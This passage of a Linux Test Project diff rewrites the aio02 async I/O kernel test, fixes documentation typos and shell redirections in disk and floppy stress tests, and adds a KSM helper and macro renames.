-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 4: %d prep,reads in %3d.%06d sec",
-			 nr, sec, usec);
-	}
-
-/* TEST 5 */
-	pos = 0;
-	failflag = 0;
-	gettimeofday(&stv, NULL);
-	for (i = 0; i < nr; i++) {
-		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 5: write io_submit failed - "
-				 "retval=%ld, errno=%d", TEST_RETURN,
-				 TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 5: read io_submit failed - "
-				 "retval=%ld, errno=%d", TEST_RETURN,
-				 TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 5: %d reads and writes in %3d.%06d sec",
-			 nr, sec, usec);
-	}
-
-/* TEST 6 */
-	pos = 0;
-	failflag = 0;
-	gettimeofday(&stv, NULL);
-	for (i = 0; i < nr; i++) {
-		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 6: write io_submit failed - "
-				 "retval=%ld, errno=%d", TEST_RETURN,
-				 TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 6: read io_submit failed - "
-				 "retval=%ld, errno=%d", TEST_RETURN,
-				 TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		for (j = 0; j < bufsize; j++) {
-			if (srcbuf[j] != dstbuf[j]) {
-				tst_resm(TFAIL, "Test 6: compare failed - "
-					 "read: %c, " "actual: %c",
-					 dstbuf[j], srcbuf[j]);
-				break;
-			}
-		}
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 6: %d read,write,verify in %d.%06d sec",
-			 i, sec, usec);
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-static void help(void)
-{
-	printf("  -b n    Buffersize\n");
-	printf("  -n n    Number of requests\n");
-	printf("  -F s    Filename to run the tests against\n");
-}
-
-static void setup(void)
-{
-	int ret;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Pause if option was specified */
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0600)) < 0)
-		tst_brkm(TFAIL, cleanup, "failed to open %s "
-			 "file, errno: %d", fname, errno);
-	stat(fname, &s);
-	if ((iocbs = malloc(sizeof(int) * nr)) == NULL)
-		tst_brkm(TFAIL, cleanup, "malloc for iocbs failed - "
-			 "errno: %d", errno);
-	if ((iocbs[0] = malloc(sizeof(struct iocb))) == NULL)
-		tst_brkm(TFAIL, cleanup, "malloc for iocbs elements failed - "
-			 "errno: %d", errno);
-	if (S_ISCHR(s.st_mode)) {
-		if ((ret =
-		     posix_memalign((void **)&srcbuf, bufsize, bufsize)) != 0)
-			tst_brkm(TFAIL, cleanup,
-				 "posix_memalign for srcbuf "
-				 "failed - errno: %d", errno);
-		if ((ret =
-		     posix_memalign((void **)&dstbuf, bufsize, bufsize)) != 0)
-			tst_brkm(TFAIL, cleanup,
-				 "posix_memalign for dstbuf "
-				 "failed - errno: %d", errno);
-	} else {
-		if ((srcbuf = malloc(sizeof(char) * bufsize)) == NULL)
-			tst_brkm(TFAIL, cleanup, "malloc for srcbuf "
-				 "failed - errno: %d", errno);
-		if ((dstbuf = malloc(sizeof(char) * bufsize)) == NULL)
-			tst_brkm(TFAIL, cleanup, "malloc for dstbuf "
-				 "failed - errno: %d", errno);
-	}
-	memset((void *)srcbuf, 65, bufsize);
-	if ((ret = io_queue_init(1, &io_ctx)) != 0)
-		tst_brkm(TFAIL, cleanup, "io_queue_init failed: %s",
-			 strerror(ret));
-}
-
-static void cleanup(void)
-{
-	free(dstbuf);
-	free(srcbuf);
-	free(iocbs[0]);
-	free(iocbs);
-	close(fd);
-	io_queue_release(io_ctx);
-	tst_rmdir();
-}
-
-#else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
-}
-#endif
diff --git a/testcases/kernel/io/aio/aio02.c b/testcases/kernel/io/aio/aio02.c
new file mode 100644
index 0000000..e283afb
--- /dev/null
+++ b/testcases/kernel/io/aio/aio02.c
@@ -0,0 +1,224 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines Corp., 2003
+ * Copyright (c) Linux Test Project, 2004-2019
+ *
+ *  AUTHORS
+ *   Kai Zhao (ltcd3@cn.ibm.com)
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_LIBAIO
+#include <errno.h>
+#include <stdlib.h>
+#include <libaio.h>
+
+#define AIO_MAXIO 32
+#define AIO_BLKSIZE (64*1024)
+
+static int wait_count = 0;
+
+#define DESC_FLAGS_OPR(x, y) .desc = (x == IO_CMD_PWRITE ? "WRITE: " #y: "READ : " #y), \
+	.flags = y, .operation = x
+
+struct testcase {
+	const char *desc;
+	int flags;
+	int operation;
+} testcases[] = {
+	{
+		DESC_FLAGS_OPR(IO_CMD_PWRITE, O_WRONLY | O_TRUNC | O_DIRECT | O_LARGEFILE | O_CREAT),
+	},
+	{
+		DESC_FLAGS_OPR(IO_CMD_PREAD, O_RDONLY | O_DIRECT | O_LARGEFILE),
+	},
+	{
+		DESC_FLAGS_OPR(IO_CMD_PWRITE, O_RDWR | O_TRUNC),
+	},
+	{
+		DESC_FLAGS_OPR(IO_CMD_PREAD, O_RDWR),
+	},
+	{
+		DESC_FLAGS_OPR(IO_CMD_PWRITE, O_WRONLY | O_TRUNC),
+	},
+	{
+		DESC_FLAGS_OPR(IO_CMD_PREAD, O_RDONLY),
+	},
+};
+
+/*
+ * Fatal error handler
+ */
+static void io_error(const char *func, int rc)
+{
+	if (rc == -ENOSYS)
+		tst_brk(TCONF, "AIO not in this kernel\n");
+	else if (rc < 0)
+		tst_brk(TFAIL, "%s: %s\n", func, strerror(-rc));
+	else
+		tst_brk(TFAIL, "%s: error %d\n", func, rc);
+}
+
+/*
+ * write work done
+ */
+static void work_done(io_context_t ctx, struct iocb *iocb, long res, long res2)
+{
+	(void) ctx;  // silence compiler warning (-Wunused)
+
+	if (res2 != 0)
+		io_error("aio write", res2);
+
+	if (res != (long)iocb->u.c.nbytes)
+		tst_brk(TFAIL, "write missed bytes expect %lu got %ld\n",
+			iocb->u.c.nbytes, res);
+
+	wait_count--;
+}
+
+/*
+ * io_wait_run() - wait for an io_event and then call the callback.
+ */
+static int io_wait_run(io_context_t ctx, struct timespec *to)
+{
+	struct io_event events[AIO_MAXIO];
+	struct io_event *ep;
+	int ret, n;
+
+	/*
+	 * get up to aio_maxio events at a time.
+	 */
+	ret = n = io_getevents(ctx, 1, AIO_MAXIO, events, to);
+
+	/*
+	 * Call the callback functions for each event.
+	 */
+	for (ep = events; n-- > 0; ep++) {
+		io_callback_t cb = (io_callback_t) ep->data;
+		struct iocb *iocb = ep->obj;
+		cb(ctx, iocb, ep->res, ep->res2);
+	}
+	return ret;
+}
+
+static int io_tio(char *pathname, int flag, int operation)
+{
+	int res, fd = 0, i = 0;
+	void *bufptr = NULL;
+	off_t offset = 0;
+	struct timespec timeout;
+	struct stat fi_stat;
+	size_t alignment;
+
+	io_context_t myctx;
+	struct iocb iocb_array[AIO_MAXIO];
+	struct iocb *iocbps[AIO_MAXIO];
+
+	fd = SAFE_OPEN(pathname, flag, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+
+	/* determine the alignment from the blksize of the underlying device */
+	SAFE_FSTAT(fd, &fi_stat);
+	alignment = fi_stat.st_blksize;
+
+	res = io_queue_init(AIO_MAXIO, &myctx);
+
+	for (i = 0; i < AIO_MAXIO; i++) {
+
+		switch (operation) {
+		case IO_CMD_PWRITE:
+			if (posix_memalign(&bufptr, alignment, AIO_BLKSIZE)) {
+				tst_brk(TBROK | TERRNO, "posix_memalign failed");
+				return -1;
+			}
+			memset(bufptr, 0, AIO_BLKSIZE);
+
+			io_prep_pwrite(&iocb_array[i], fd, bufptr,
+					   AIO_BLKSIZE, offset);
+			io_set_callback(&iocb_array[i], work_done);
+			iocbps[i] = &iocb_array[i];
+			offset += AIO_BLKSIZE;
+
+			break;
+		case IO_CMD_PREAD:
+			if (posix_memalign(&bufptr, alignment, AIO_BLKSIZE)) {
+				tst_brk(TBROK | TERRNO, "posix_memalign failed");
+				return -1;
+			}
+			memset(bufptr, 0, AIO_BLKSIZE);
+
+			io_prep_pread(&iocb_array[i], fd, bufptr,
+					  AIO_BLKSIZE, offset);
+			io_set_callback(&iocb_array[i], work_done);
+			iocbps[i] = &iocb_array[i];
+			offset += AIO_BLKSIZE;
+			break;
+		default:
+			tst_res(TFAIL, "Command failed; opcode returned: %d\n", operation);
+			return -1;
+			break;
+		}
+	}
+
+	do {
+		res = io_submit(myctx, AIO_MAXIO, iocbps);
+	} while (res == -EAGAIN);
+
+	if (res < 0)
+		io_error("io_submit tio", res);
+
+	/*
+	 * We have submitted all the i/o requests. Wait for them to complete and
+	 * call the callbacks.
+	 */
+	wait_count = AIO_MAXIO;
+
+	timeout.tv_sec = 30;
+	timeout.tv_nsec = 0;
+
+	switch (operation) {
+	case IO_CMD_PREAD:
+	case IO_CMD_PWRITE:
+		{
+			while (wait_count) {
+				res = io_wait_run(myctx, &timeout);
+				if (res < 0)
+					io_error("io_wait_run", res);
+			}
+		}
+		break;
+	}
+
+	SAFE_CLOSE(fd);
+
+	for (i = 0; i < AIO_MAXIO; i++)
+		if (iocb_array[i].u.c.buf != NULL)
+			free(iocb_array[i].u.c.buf);
+
+	io_queue_release(myctx);
+
+	return 0;
+}
+
+static void test_io(unsigned int n)
+{
+	int status;
+	struct testcase *tc = testcases + n;
+
+	status = io_tio("file", tc->flags, tc->operation);
+	if (status)
+		tst_res(TFAIL, "%s, status = %d", tc->desc, status);
+	else
+		tst_res(TPASS, "%s", tc->desc);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.test = test_io,
+	.tcnt = ARRAY_SIZE(testcases),
+};
+
+#else
+TST_TEST_TCONF("test requires libaio and its development packages");
+#endif
diff --git a/testcases/kernel/io/aio/aio02/Makefile b/testcases/kernel/io/aio/aio02/Makefile
deleted file mode 100644
index a99807c..0000000
--- a/testcases/kernel/io/aio/aio02/Makefile
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-#    kernel/io/aio/aio2 testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-# Needed for common.h...
-CPPFLAGS		+= -D_GNU_SOURCE
-
-LDLIBS			+= $(AIO_LIBS)
-
-FILTER_OUT_MAKE_TARGETS	:= main
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
-
-$(MAKE_TARGETS): %: %.o main.o
diff --git a/testcases/kernel/io/aio/aio02/README b/testcases/kernel/io/aio/aio02/README
deleted file mode 100644
index 81ab36e..0000000
--- a/testcases/kernel/io/aio/aio02/README
+++ /dev/null
@@ -1,12 +0,0 @@
-This program will test Asynchronous I/O support by kernel 2.5 .
-make the program
-	make
-execute the test
-	./aio_tio
-
-
-NOTE:
-	make sure your system are support with libaio-0.3.92 or higher.
-		you can download this form http://www.kernel.org.
-	make sure your system are support with glibc 2.1.91 or higher.
-
diff --git a/testcases/kernel/io/aio/aio02/aio_tio.c b/testcases/kernel/io/aio/aio02/aio_tio.c
deleted file mode 100644
index 08fb041..0000000
--- a/testcases/kernel/io/aio/aio02/aio_tio.c
+++ /dev/null
@@ -1,240 +0,0 @@
-/*************************************************************************************
-*
-*  Copyright (c) International Business Machines  Corp., 2003
-*
-*  This program is free software;  you can redistribute it and/or modify
-*  it under the terms of the GNU General Public License as published by
-*  the Free Software Foundation; either version 2 of the License, or
-*  (at your option) any later version.
-*
-*  This program is distributed in the hope that it will be useful,
-*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-*  the GNU General Public License for more details.
-*
-*  You should have received a copy of the GNU General Public License
-*  along with this program;  if not, write to the Free Software
-*  Foundation,
-*
-*  FILE        : aio_tio
-*  USAGE       : ./aio_tio
-*
-*  DESCRIPTION : This program will test Asynchronous I/O for 2.5 Kernel infrastructure
-*  REQUIREMENTS:
-*                1) libaio-0.3.92 or up for 2.5 kernal
-*                2) glibc 2.1.91 or up
-*  HISTORY     :
-*      11/03/2003 Kai Zhao (ltcd3@cn.ibm.com)
-*
-*  CODE COVERAGE:
-*                 68.3% - fs/aio.c
-*
-************************************************************************************/
-
-#include "config.h"
-#include "common.h"
-#include "test.h"
-#include <string.h>
-#include <errno.h>
-
-#ifdef HAVE_LIBAIO
-
-#define AIO_MAXIO 32
-#define AIO_BLKSIZE (64*1024)
-
-static int alignment = 512;
-static int wait_count = 0;
-
-/*
- * write work done
- */
-static void work_done(io_context_t ctx, struct iocb *iocb, long res, long res2)
-{
-
-	if (res2 != 0) {
-		io_error("aio write", res2);
-	}
-
-	if (res != iocb->u.c.nbytes) {
-		fprintf(stderr, "write missed bytes expect %lu got %ld\n",
-			iocb->u.c.nbytes, res2);
-		exit(1);
-	}
-	wait_count--;
-}
-
-/*
- * io_wait_run() - wait for an io_event and then call the callback.
- */
-int io_wait_run(io_context_t ctx, struct timespec *to)
-{
-	struct io_event events[AIO_MAXIO];
-	struct io_event *ep;
-	int ret, n;
-
-	/*
-	 * get up to aio_maxio events at a time.
-	 */
-	ret = n = io_getevents(ctx, 1, AIO_MAXIO, events, to);
-
-	/*
-	 * Call the callback functions for each event.
-	 */
-	for (ep = events; n-- > 0; ep++) {
-		io_callback_t cb = (io_callback_t) ep->data;
-		struct iocb *iocb = ep->obj;
-		cb(ctx, iocb, ep->res, ep->res2);
-	}
-	return ret;
-}
-
-int io_tio(char *pathname, int flag, int n, int operation)
-{
-	int res, fd = 0, i = 0;
-	void *bufptr = NULL;
-	off_t offset = 0;
-	struct timespec timeout;
-
-	io_context_t myctx;
-	struct iocb iocb_array[AIO_MAXIO];
-	struct iocb *iocbps[AIO_MAXIO];
-
-	fd = open(pathname, flag, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd <= 0) {
-		printf("open for %s failed: %s\n", pathname, strerror(errno));
-		return -1;
-	}
-
-	res = io_queue_init(n, &myctx);
-	//printf (" res = %d \n", res);
-
-	for (i = 0; i < AIO_MAXIO; i++) {
-
-		switch (operation) {
-		case IO_CMD_PWRITE:
-			if (posix_memalign(&bufptr, alignment, AIO_BLKSIZE)) {
-				perror(" posix_memalign failed ");
-				return -1;
-			}
-			memset(bufptr, 0, AIO_BLKSIZE);
-
-			io_prep_pwrite(&iocb_array[i], fd, bufptr,
-				       AIO_BLKSIZE, offset);
-			io_set_callback(&iocb_array[i], work_done);
-			iocbps[i] = &iocb_array[i];
-			offset += AIO_BLKSIZE;
-
-			break;
-		case IO_CMD_PREAD:
-			if (posix_memalign(&bufptr, alignment, AIO_BLKSIZE)) {
-				perror(" posix_memalign failed ");
-				return -1;
-			}
-			memset(bufptr, 0, AIO_BLKSIZE);
-
-			io_prep_pread(&iocb_array[i], fd, bufptr,
-				      AIO_BLKSIZE, offset);
-			io_set_callback(&iocb_array[i], work_done);
-			iocbps[i] = &iocb_array[i];
-			offset += AIO_BLKSIZE;
-			break;
-		case IO_CMD_POLL:
-		case IO_CMD_NOOP:
-			break;
-		default:
-			tst_resm(TFAIL,
-				 "Command failed; opcode returned: %d\n",
-				 operation);
-			return -1;
-			break;
-		}
-	}
-
-	do {
-		res = io_submit(myctx, AIO_MAXIO, iocbps);
-	} while (res == -EAGAIN);
-	if (res < 0) {
-		io_error("io_submit tio", res);
-	}
-
-	/*
-	 * We have submitted all the i/o requests. Wait for at least one to complete
-	 * and call the callbacks.
-	 */
-	wait_count = AIO_MAXIO;
-
-	timeout.tv_sec = 30;
-	timeout.tv_nsec = 0;
-
-	switch (operation) {
-	case IO_CMD_PREAD:
-	case IO_CMD_PWRITE:
-		{
-			while (wait_count) {
-				res = io_wait_run(myctx, &timeout);
-				if (res < 0)
-					io_error("io_wait_run", res);
-			}
-		}
-		break;
-	}
-
-	close(fd);
-
-	for (i = 0; i < AIO_MAXIO; i++) {
-		if (iocb_array[i].u.c.buf != NULL) {
-			free(iocb_array[i].u.c.buf);
-		}
-	}
-
-	io_queue_release(myctx);
-
-	return 0;
-}
-
-int test_main(void)
-{
-	int status = 0;
-
-	tst_resm(TINFO, "Running test 1\n");
-	status = io_tio("file1",
-			O_TRUNC | O_DIRECT | O_WRONLY | O_CREAT | O_LARGEFILE,
-			AIO_MAXIO, IO_CMD_PWRITE);
-	if (status) {
-		return status;
-	}
-
-	tst_resm(TINFO, "Running test 2\n");
-	status = io_tio("file1", O_RDONLY | O_DIRECT | O_LARGEFILE,
-			AIO_MAXIO, IO_CMD_PREAD);
-	if (status) {
-		return status;
-	}
-
-	tst_resm(TINFO, "Running test 3\n");
-	status = io_tio("file1", O_TRUNC | O_RDWR, AIO_MAXIO, IO_CMD_PWRITE);
-	if (status) {
-		return status;
-	}
-
-	tst_resm(TINFO, "Running test 4\n");
-	status = io_tio("file1", O_RDWR, AIO_MAXIO, IO_CMD_PREAD);
-	if (status) {
-		return status;
-	}
-
-	tst_resm(TINFO, "Running test 5\n");
-	status = io_tio("file1", O_TRUNC | O_WRONLY, AIO_MAXIO, IO_CMD_PWRITE);
-	if (status) {
-		return status;
-	}
-
-	tst_resm(TINFO, "Running test 6 \n");
-	status = io_tio("file1", O_RDONLY, AIO_MAXIO, IO_CMD_PREAD);
-	if (status) {
-		return status;
-	}
-
-	return status;
-}
-#endif
diff --git a/testcases/kernel/io/aio/aio02/common.h b/testcases/kernel/io/aio/aio02/common.h
deleted file mode 100644
index 4b80761..0000000
--- a/testcases/kernel/io/aio/aio02/common.h
+++ /dev/null
@@ -1,28 +0,0 @@
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/param.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <sys/select.h>
-#if HAVE_LIBAIO_H
-#include <libaio.h>
-#endif
-#include <sys/uio.h>
-#include <assert.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-/* Fatal error handler */
-static void io_error(const char *func, int rc)
-{
-	if (rc == -ENOSYS)
-		fprintf(stderr, "AIO not in this kernel\n");
-	else if (rc < 0)
-		fprintf(stderr, "%s: %s\n", func, strerror(-rc));
-	else
-		fprintf(stderr, "%s: error %d\n", func, rc);
-
-	exit(1);
-}
diff --git a/testcases/kernel/io/aio/aio02/main.c b/testcases/kernel/io/aio/aio02/main.c
deleted file mode 100644
index 7b157f3..0000000
--- a/testcases/kernel/io/aio/aio02/main.c
+++ /dev/null
@@ -1,37 +0,0 @@
-#include <stdio.h>
-#include <errno.h>
-#include <assert.h>
-#include <stdlib.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <unistd.h>
-
-#include "config.h"
-#include "test.h"
-
-#define TEST_NAME "aio_tio"
-
-char *TCID = "aio02/" TEST_NAME;
-int TST_TOTAL = 0;
-
-#ifdef HAVE_LIBAIO
-#include <libaio.h>
-
-int test_main(void);
-
-int main(void)
-{
-	tst_tmpdir();
-
-	test_main();
-
-	tst_rmdir();
-	tst_exit();
-}
-#else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
-}
-#endif
diff --git a/testcases/kernel/io/direct_io/README b/testcases/kernel/io/direct_io/README
index 4d4deb2..ce926e5 100644
--- a/testcases/kernel/io/direct_io/README
+++ b/testcases/kernel/io/direct_io/README
@@ -15,7 +15,7 @@
 #   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 #
 
-The directory consists of follwing:
+The directory consists of following:
 	diotest_routines.c:	Routines to support the test programs.
 	diotest[1-6].c:		6 test programs with 30 test blocks.
 	Makefile:		To compile the programs.
diff --git a/testcases/kernel/io/disktest/README b/testcases/kernel/io/disktest/README
index 2917b71..fe1de29 100644
--- a/testcases/kernel/io/disktest/README
+++ b/testcases/kernel/io/disktest/README
@@ -132,7 +132,7 @@
   - Butterfly seek option: test will seek block
     start/end/start+1/end-1/.../end-1/start+1/end/start
   - Ping-Pong seek option: test will seek block start/end/start/end/etc...
-  - min seek: force a minimum seek disktance during any IO access
+  - min seek: force a minimum seek distance during any IO access
   - max seek: force a maximum seek distance during any IO access
   - add metric for the average response time for all IOs
   - implement flock for filesystem testing on clusters
diff --git a/testcases/kernel/io/disktest/man1/disktest.1 b/testcases/kernel/io/disktest/man1/disktest.1
index 0449235..cac3abb 100644
--- a/testcases/kernel/io/disktest/man1/disktest.1
+++ b/testcases/kernel/io/disktest/man1/disktest.1
@@ -604,7 +604,7 @@
 .RE
 File I/O
 .RS
-Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The follwing is an example to initialize a file for filesystem IO testing.
+Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The following is an example to initialize a file for filesystem IO testing.
 
 disktest -w -pl -N200000 -B128k test.fil
 
diff --git a/testcases/kernel/io/disktest/man1/disktest_manual.html b/testcases/kernel/io/disktest/man1/disktest_manual.html
index 0bbe574..edb850d 100644
--- a/testcases/kernel/io/disktest/man1/disktest_manual.html
+++ b/testcases/kernel/io/disktest/man1/disktest_manual.html
@@ -777,7 +777,7 @@
 
 File I/O
 <DL COMPACT><DT><DD>
-Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The follwing is an example to initialize a file for filesystem IO testing.
+Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The following is an example to initialize a file for filesystem IO testing.
 <P>
 disktest -w -pl -N200000 -B128k test.fil
 <P>
diff --git a/testcases/kernel/io/stress_floppy/stress_floppy b/testcases/kernel/io/stress_floppy/stress_floppy
index b269f5f..deb9390 100755
--- a/testcases/kernel/io/stress_floppy/stress_floppy
+++ b/testcases/kernel/io/stress_floppy/stress_floppy
@@ -40,7 +40,7 @@
 {
 	tst_tmpdir
 
-	tst_check_cmds fdformat tar dump cpio dd mkfs mkdosfs
+	tst_test_cmds fdformat tar dump cpio dd mkfs mkdosfs
 
 	TCtmp=$(pwd)
 }
@@ -96,7 +96,7 @@
 		else
 			tst_resm TINFO "$the_file Tar read passed."
 		fi
-		diff $TCdat/dumpdir/$the_file $the_file 2>&1 >/dev/null
+		diff $TCdat/dumpdir/$the_file $the_file >/dev/null 2>&1
 		if [ $? -ne 0 ]; then
 			tst_resm TFAIL "Diff of the $the_file tar files failed!"
 			return
@@ -140,7 +140,7 @@
 
 	for the_file in 1K_file 10K_file 100K_file
 	do
-		diff dumpdir/$the_file /$TCdat/dumpdir/$the_file 2>&1 >/dev/null
+		diff dumpdir/$the_file /$TCdat/dumpdir/$the_file >/dev/null 2>&1
 		if [ $? -ne 0 ]; then
 			tst_resm TFAIL \
 				 "Diff of the $the_file backup files failed!"
@@ -180,7 +180,7 @@
 		else
 			tst_resm TINFO "$the_file cpio read passed."
 		fi
-		diff $TCdat/dumpdir/$the_file $the_file 2>&1 >/dev/null
+		diff $TCdat/dumpdir/$the_file $the_file >/dev/null 2>&1
 		if [ $? -ne 0 ]; then
 			tst_resm TFAIL \
 				 "Diff of the $the_file cpio files failed!"
@@ -213,7 +213,7 @@
 		else
 			tst_resm TINFO "$the_file dd read passed."
 		fi
-		diff $TCdat/$the_file $the_file 2>&1 >/dev/null
+		diff $TCdat/$the_file $the_file >/dev/null 2>&1
 		if [ $? -ne 0 ]; then
 			tst_resm TFAIL "Diff of the $the_file dd files failed!"
 			return
diff --git a/testcases/kernel/lib/ksm_helper.c b/testcases/kernel/lib/ksm_helper.c
new file mode 100644
index 0000000..eba28d4
--- /dev/null
+++ b/testcases/kernel/lib/ksm_helper.c
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author(s): Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#define TST_NO_DEFAULT_MAIN
+
+#include <unistd.h>
+#include "tst_test.h"
+#include "ksm_helper.h"
+
+void wait_ksmd_full_scan(void)
+{
+	unsigned long full_scans, at_least_one_full_scan;
+	int count = 0;
+
+	SAFE_FILE_SCANF(PATH_KSM "full_scans", "%lu", &full_scans);
+	/*
+	 * The current scan is already in progress so we can't guarantee that
+	 * the get_user_pages() is called on every existing rmap_item if we
+	 * only waited for the remaining part of the scan.
+	 *
+	 * The actual merging happens after the unstable tree has been built so
+	 * we need to wait at least two full scans to guarantee merging, hence
+	 * wait full_scans to increment by 3 so that at least two full scans
+	 * will run.
+	 */
+	at_least_one_full_scan = full_scans + 3;
+	while (full_scans < at_least_one_full_scan) {
+		sleep(1);
+		count++;
+		SAFE_FILE_SCANF(PATH_KSM "full_scans", "%lu", &full_scans);
+	}
+
+	tst_res(TINFO, "ksm daemon takes %ds to run two full scans", count);
+}
diff --git a/testcases/kernel/logging/kmsg/kmsg01.c b/testcases/kernel/logging/kmsg/kmsg01.c
index 7f077c9..1c0095b 100644
--- a/testcases/kernel/logging/kmsg/kmsg01.c
+++ b/testcases/kernel/logging/kmsg/kmsg01.c
@@ -70,8 +70,8 @@
 	f = SAFE_OPEN("/dev/kmsg", O_WRONLY);
 	TEST(write(f, msg, strlen(msg)));
 	SAFE_CLOSE(f);
-	errno = TEST_ERRNO;
-	return TEST_RETURN;
+	errno = TST_ERR;
+	return TST_RET;
 }
 
 /*
@@ -100,18 +100,18 @@
 
 	while (1) {
 		TEST(read(f, msg, MAX_MSGSIZE));
-		if (TEST_RETURN < 0) {
-			if (TEST_ERRNO == EAGAIN)
+		if (TST_RET < 0) {
